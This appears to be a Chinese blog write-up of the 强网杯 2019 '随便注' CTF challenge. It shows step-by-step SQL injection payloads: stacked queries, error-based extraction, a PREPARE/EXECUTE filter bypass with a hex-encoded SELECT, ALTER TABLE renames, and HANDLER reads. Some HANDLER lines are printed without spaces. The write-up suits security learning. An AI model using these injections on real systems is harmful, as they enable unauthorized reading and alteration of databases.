–[强网杯 2019]随便注 1【SQL注入】

[强网杯 2019]随便注 1【SQL注入】

本文章中标题为个步骤涉及到的方法。

SQL查询

PixPin_2025-10-19_18-28-50

第一步,先判断注入点的传参方式,发现是get传参。

在输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入。

提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1,说明后端参数后面有可能存在其他sql语句,我们在1’ or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据,但是没有flag。

image-20251019183117613

首先判断一下字段个数:-1' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

image-20251019184100891

可以看到系统把select等关键词都过滤了,我们可以使用堆叠注入的方式来绕过select关键字。

堆叠注入

简单介绍一下堆叠注入,堆叠注入(Stacked Query Injection)是一种 SQL 注入攻击技术,攻击者通过注入多个 SQL 语句到一个查询中,利用数据库支持堆叠查询的特性(即在同一条查询中执行多个 SQL 语句)来执行恶意操作。这类攻击利用了某些数据库管理系统(DBMS)允许多个 SQL 语句在一个查询中堆叠执行的特性,通常通过分号(;)分隔不同的 SQL 语句。

查看数据库名:1';show databases;#

image-20251019202126770

查看数据表:1';show tables;#

image-20251019202230281

查看表结构

注意:tableName如果是纯数字,需要用`包裹

1
2
3
?inject=1'; show columns from `1919810931114514`;#

1';desc `1919810931114514`;#

报错注入

这里是中插一种思路,因为在报错注入查询 数据库名字的时候是不用select的,所以在这里我们是可以用的:

1
1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- q

但是只能用于查询表明,数据库名,查询字段时不能用这种方法。

预编译

先解释一下什么是预编译语句,

通俗版一点,就是把 SQL 先给数据库“过一遍语法与优化器”,得到可执行的执行计划,然后多次执行时就复用计划,只换参数,不必每次重新解析与优化。

格式:

1
2
3
PREPARE 名称 FROM 	Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
方法一:
SElECT * FROM t_user WHERE USER_ID = 1
#这是普通的sql查询语句

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
#将预编译语句命名为jia 要执行的语句是SElECT * FROM t_user WHERE USER_ID = 1
EXECUTE jia;
#表示要执行jia

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
#这里表示要查询的ID值为1
EXECUTE jia USING @ID;
#对jia语句进行了填充替换然后执行

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;

因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:1';PREPARE hacker from concat('s','elect', ' * from 1919810931114514 ');EXECUTE hacker;#得flag。

预编译语句 将语句进行16进制编码

可以直接将select * from 1919810931114514``语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:

1
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#

更改表名

最后一步也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:

1
2
3
`1'; alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);# `

然后通过1' or 1 = 1 #,成功获取到flag。

  • 修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
  • 修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

handle

此题还可以通过handle直接出答案:1';HANDLER 1919810931114514OPEN;HANDLER1919810931114514READ FIRST;HANDLER1919810931114514 CLOSE;

  • handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
1
2
3
4
5
6
7
8
打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;

references

sql注入9之堆叠注入-CSDN博客

[强网杯 2019]随便注 1【SQL注入】四种解法 - 知乎

[BUUCTF 强网杯 2019]随便注 1(两种方法)-CSDN博客


–[强网杯 2019]随便注 1【SQL注入】
http://example.com/2025/10/19/–强网杯-2019-随便注-1【SQL注入】/
作者
everythingis-ok
发布于
2025年10月19日
许可协议